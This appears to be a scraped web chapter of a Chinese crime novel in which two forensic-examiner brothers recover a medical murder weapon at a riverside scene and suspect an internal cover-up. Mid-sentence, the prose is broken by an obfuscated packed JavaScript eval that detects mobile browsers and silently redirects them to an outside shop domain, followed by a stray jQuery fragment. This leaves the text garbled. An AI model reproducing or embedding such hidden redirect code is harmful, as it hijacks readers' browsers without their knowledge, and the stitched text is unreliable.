漫长的雨夜仍旧笼罩整座江南城池。
夜色浓稠漆黑,凌晨时分是一日之间最为沉寂昏暗的时刻,连绵的秋雨势头稍稍放缓,从先前滂沱的大雨转为绵绵细雨,细密的雨丝无声飘落在空旷的城市街巷之间。
冰冷潮湿的晚风穿梭而过,裹挟着江水独有的腥涩潮气,从城郊沿江流域一路蔓延至市区。
许凌安与许无意二人沿着偏僻的城郊道路缓步返程,悄无声息从司法鉴定中心后方离开,重新隐入幽深的夜色当中。身后那栋冰冷肃穆的办公大楼渐渐被浓重的雨雾遮掩,楼宇沉寂静默,如同蛰伏在暗处冷眼旁观的旁观者,封存着无数被刻意掩埋的秘密与是非。
方才从地下停尸间完成全部的遗体核验,所有的推论都已经逐一得到印证。
许无意精准敲定了无名死者陆凯的完整身份,也彻底证实了这一桩江边死亡事件从头到尾都是一场精心策划的蓄意谋杀,并非上层想要定性的意外落水事故。
兄弟二人行走在空旷无人的城郊公路上,四周荒无人烟,路面被雨水冲刷得湿漉漉的,放眼望去只有成片暗沉的林地与远处翻涌起伏的江面。
一路行走之间,二人都陷入沉默,没有过多言语。
刚刚从阴冷死寂的停尸间离开,心底都沉淀着一层厚重的压抑。一边是法医本职所要坚守的逝者真相,一边是体制之内扭曲晦暗的利益权衡,两相冲撞之下,总会让人心生无力之感。
“凌晨四点左右,天色会开始泛白。”
许凌安率先打破沿途的沉寂,他抬眸望向远处朦胧晦暗的江面轮廓,语声低沉平缓。
“这个时间段人烟最为稀少,城郊江滩平日里本就偏僻荒芜,凌晨更是不会有路人或是巡逻人员经过,是我们前往现场搜寻物证最好的时机。”
经过昨夜一夜的秋雨冲刷,江边现场的表层痕迹虽然会受到雨水侵蚀,但是许无意所判定的纵深荒草丛区域地势低洼闭塞,草木枝叶茂密交错,能够极好的遮挡雨水冲刷,藏匿在深处的物品并不会轻易损毁流失。
许无意微微侧首,目光望向远方水雾弥漫的沿江滩涂,神色冷静沉稳。
“我们现在直接赶赴江边即可,无需折返家中耽搁时间。越早进行搜查,找到凶手遗留物证的概率就越大。一旦等到天亮之后,科室内部人员正常上岗,周明远一行人若是察觉到我们昨夜的异常举动,一定会提前做出防备。”
他心思敏锐,早已提前预判到后续潜藏的危机。
周明远身居科室管理层多年,心思城府极深,做事向来多疑谨慎。昨日白天许凌安强硬拒绝上级暂缓查案的命令,态度立场摆明,早已引起对方高度的警惕。
若是对方察觉到他们兄弟二人私下暗中继续追查这起封存命案,必定会从中百般阻挠,甚至会提前派人前往江边现场销毁残留痕迹,彻底斩断所有可以追查真相的线索。
许凌安淡淡颔首,认同他的判断。
“你考虑的没有错。”
他指尖微微收紧,眼底掠过一层浅淡的冷色。
“如今我们在明,对方在暗。整个司法鉴定中心的人脉势力全部盘踞在他们手中,职场规则、上级审批、案件归档的权限尽数被对方把控,我们每一步行动都需要格外谨慎,不能留下半点可以被人抓住的把柄。”
长久身处这片暗流汹涌的法医职场,许凌安早已摸清周明远一众人心底最深的算计。
对方并不急于一时将案件彻底销毁,而是打算利用时间慢慢消磨所有线索,任由死者死因永久尘封,等到时日久远,物证自然风化消亡,到时候就算日后想要重新翻查此案,也会变得毫无头绪,再也无从查证。
二人加快脚步,朝着城郊沿江滩涂的方向前行。
凌晨的江边寒意刺骨,扑面而来的江风湿气厚重黏腻,混杂着草木腐烂的气息,弥漫在整片空旷的滩涂之上。警戒线依旧完好的缠绕在案发区域外围,泛黄的警示布条在阴冷的晚风之中轻轻摇曳,周遭荒凉萧瑟,四下寂静无声。
整片案发地带自案发当日被临时封锁过后,便再也没有专人前来深度勘查。
上层下达案件搁置指令之后,所有刑侦外勤人员全部撤离现场,草草结束现场勘探工作,任由这片暗藏关键线索的凶案原址荒废在雨夜之中,无人过问,无人探查。
许无意站在警戒线外侧,目光远眺整片江岸地形,眼底神情肃穆认真。
他抬手指向滩涂东侧那片长势杂乱幽深的野生荒草丛,草木丛生,枝干繁密,整片区域凹陷于地面,隐蔽偏僻,远离主路视线,刚好处于当初警方拍照取景的视野盲区之内。
“就是那一片位置。”
许无意压低声音,轻声开口。
“凶手当日行凶完毕之后,刻意清理了整片开阔滩涂上的脚印、血迹以及打斗痕迹,心思缜密到近乎完美,刻意规避了所有常规刑侦勘查的范围。但人都会存在思维盲区,越是刻意打扫显眼的现场,就越容易忽略这种偏僻隐蔽的植被区域。”
许凌安顺着他指引的方向望去,清冷的眼眸仔细审视整片荒草地带。
常年经手无数野外刑事案件的勘验工作,他一眼便能看出这片区域的特殊性。草木交错盘缠,地势低洼积水,植被遮挡视线,完美适合藏匿小型物件,隐蔽性得天独厚,的确是凶手遗弃作案工具最合理的选择。
“我们从侧边绕入,不要触碰外围的警戒布条。”
许凌安迈步上前,动作轻缓利落,带着专业的现场勘查素养,刻意避开所有遗留的原始现场痕迹,防止人为二次破坏现场环境,干扰后续物证判定。
许无意紧随在他的身后,一同踏入这片荒芜阴冷的江边滩涂。
脚下泥土湿润松软,混杂着雨后淤积的泥水,每一步落脚都格外谨慎。周遭野草长势杂乱,枝叶交错缠绕,昏暗的天光之下,整片深草丛幽暗幽深,隐隐透着一股令人心悸的阴冷感。
兄弟二人分工明确,默契十足。
许凌安负责排查草丛外围边缘地带,比对泥土表层的翻动痕迹,观察近期是否有人为踩踏、刻意掩埋泥土的迹象。而许无意则深入草丛纵深内部,俯身低头,仔细搜寻每一处草木遮蔽的角落。
雨丝轻飘飘落在肩头,四周只剩下江水翻涌拍打岸堤的低沉声响。
“结合死者的受害过程,还有凶手具备医学常识这一点进行推断。”许无意一边低头搜寻,一边低声开口分析,“凶手所用的行凶器械体积不会过大,便于随身携带,方便作案之后快速藏匿丢弃,不容易引人察觉。”
“对方懂得人体构造,清楚如何利用钝器造成暂时性内脏昏厥,不会造成体表大面积创伤,说明平日里极有可能接触医疗、病理相关行业,绝非普通的社会闲散人员。”
许凌安停下脚步,侧耳聆听他的分析,眉头微微敛起。
“如果你的推测成立,那么案件的复杂程度将会再度升级。”
他嗓音低沉,语气带着几分沉凝。
“若是行凶者拥有相关医学从业背景,便有可能和我们市司法鉴定中心内部人员存在牵扯关联。也就能够解释,为什么上层会第一时间紧急压下案情,周明远执意想要草草结案掩盖真相。”
一句话瞬间点破了整件案子最惊悚的潜在关联。
之所以从上到下都在不约而同的隐瞒这起江边命案,不惜动用职权封存卷宗、冻结调查进度,根本原因或许并不只是忌惮背后的灰色利益链条。
而是凶手本身,就距离他们所处的职场环境近在咫尺。
潜藏在暗处的行凶之人,或许一直都游离在法医中心或是公安体系的周边,隐匿在常人无法察觉的地方,安稳度日。
听到这番推断,许无意的动作微微一顿,眼底瞬间染上一层深沉的寒意。
“如果真是这样,那一切就都能够串联起来了。”
他缓缓开口,语气清冷。
“内部人员刻意知情不报,高层刻意封锁案情,所有人心照不宣选择隐瞒,从头到尾都是一场刻意的包庇。利用体制内的权力漏洞,借用职场层层人脉关系,替暗藏医学背景的凶手遮掩罪行。”
冰冷的真相藏在平静的表象之下,细思便让人不寒而栗。
白日里科室之中虚伪平和的同事相处,圆滑客套的言语寒暄,看似只是简单乏味的职场派系争斗,殊不知这片光鲜体面的精英圈层之内,早已暗藏罪恶的包庇与缄默。
二人此刻身处空旷荒凉的江边凶案现场,一边搜寻遗失的物证,一边冷静剖析幕后真相,将层层迷雾缓缓拆解开来。
就在这时,许无意低垂的目光忽然定格在身前一处茂密的草垛深处。
繁茂深长的野草层层遮挡,下方淤积着浅浅的雨后积水,一截暗沉哑光的硬质物件,半掩埋在湿软的泥土当中,被草木枝叶牢牢遮盖,完美隐藏在视野死角里。
他立刻蹲下身躯,动作轻柔克制,避免破坏物件表层附着的泥土与痕迹。
“哥,我找到了。”
许无意的声音微微放轻,带着一丝笃定。
许凌安闻声立刻迈步上前,俯身看向草垛深处被掩埋的物品。
那是一枚质地厚重的哑光黑色钝器器具,外形规整,做工精细,并非市面随处可以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17577663|205039||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
购买到的普通生活用品,器物边缘弧度圆润,恰好可以精准击打人体胸腔软肋部位,完全吻合死者身上的内伤创口形态。
器物表面沾染着干涸暗沉的陈旧血渍,雨水浸泡也未能彻底冲刷干净,附着在器具纹路缝隙之间,肉眼清晰可见。
正是凶手当日用来击打受害人、造成陆凯短暂昏厥的核心作案凶器。
许凌安目光沉敛,指尖落在器物边缘,仔细观察物件的材质与制作工艺,眼底寒意渐浓。
“器具材质特殊,属于医用定制类器械,不属于民间普通钝器。”
仅仅一眼,便印证了方才所有的猜想。
作案工具本身就带有医用属性,彻底坐实了凶手具备医学相关从业背景的推论,也变相佐证了案件内部存在人为包庇的事实。
许无意小心翼翼避开沾染血迹的位置,将这件关键钝器完整从泥土当中取出,妥善放置进提前准备好的无菌密封物证袋当中,全程操作标准规范,避免指纹交叉沾染,完好保留所有原始物证痕迹。
“关键凶器已经顺利找到。”许无意站起身,神色愈发凝重,“有这件实物证据作为依托,我们便拥有了打破案件封存命令的绝对筹码。单凭这份物证,就足以推翻意外死亡的全部定论,强制重启整件命案的立案侦查。”
原本被高层死死封死的案件僵局,在这一刻彻底破开缺口。
手握实打实的作案凶器,搭配完整的尸检鉴定报告、死者真实身份信息,三条关键线索相互佐证,层层串联,再也没有人能够随意将这桩凶杀命案草草掩埋。
可越是拨开迷雾,许无意心中的不安就越发强烈。
他抬头望向远处雾气沉沉的江面,清晨的天光已经隐隐在天际边缘泛起一层灰白的鱼肚白,漫长的雨夜即将迎来破晓。
“但是我们现在掌握证据,反而会变得更加被动。”
许无意缓缓道出心底的顾虑,目光长远,精准预判接下来即将到来的职场风波。
“周明远背后牵扯的上层人脉根深蒂固,他们明知凶手带有医用背景,还执意选择隐瞒包庇,绝不会任由我们拿着物证顺势翻案。一旦得知我们私自潜入案发现场寻回凶器,一定会立刻对我们展开针对性的打压报复。”
对方隐忍多年,深谙职场权术,手段圆滑且阴私。
之前仅仅只是用边缘化工作冷处理的方式牵制二人,尚且留有分寸。可一旦触及到这件牵扯命案包庇的核心利益,对方便会彻底收起往日的客套伪装,不顾一切动用手中职权进行针对。
许凌安自然清楚其中的利害关系,狭长的眼眸望向远处渐渐泛白的天际,面色平静无波,早已提前预判好了所有暗流走向。
“我早就料到会有这一天。”
他语气淡然,心绪沉稳不惊。
“从当初他们强行下令搁置案件的那一刻开始,就注定早晚要迎来正面的对峙。我们手握真相与物证,看似掌握了全部主动权,实则深陷对方布下的职场棋局中心,一举一动都会被无数人暗中监视。”
破晓将至,天色渐明。
城郊江边的阴冷雾气缓缓升腾,弥漫在整片江面之上,朦胧氤氲,遮挡住远方的视线,如同此刻层层缠绕、难以看透的人心棋局。
他们寻获了遗失已久的关键罪证,撕开了命案表层的伪装迷雾,距离揪出幕后真凶仅有一步之遥。
但与此同时,潜藏在司法鉴定中心内部的黑暗暗流也正在悄然涌动。
远在市区的法医一科办公楼内,尚且还未到上班时间,一向早起的科室副主任周明远,此刻已经独自坐在昏暗的办公室当中。
他指尖捏着一杯温热的茶水,隔着玻璃窗望向窗外尚未散尽的阴雨,眼底晦暗幽深,心绪深沉难测。
昨夜整夜心绪难安,他隐约察觉到许凌安近期的行事太过反常,对于这起无名江滩命案的执念超乎寻常,隐隐有种即将脱离掌控的预感。
多年的职场争斗经验让他生出敏锐的危机感,隐隐察觉到,有一些原本可以永久尘封的秘密,正在悄然松动。
无形的博弈早已双线并行。
一边是黎明破晓的江边罪证,真相破土而出;
一边是身居楼宇的人心筹谋,暗局悄然收紧。
许凌安与许无意并肩伫立在微凉的江风之中,看着手中封存完好的作案凶器,彼此目光交汇。
前路明面上是无法抗衡的层级压迫,暗处是藏匿极深的连环罪案,步步皆是险境,处处暗藏危机。
而属于他们兄弟二人,逆势破局的博弈,在晨光破晓的这一刻,正式迎来最严峻的难关。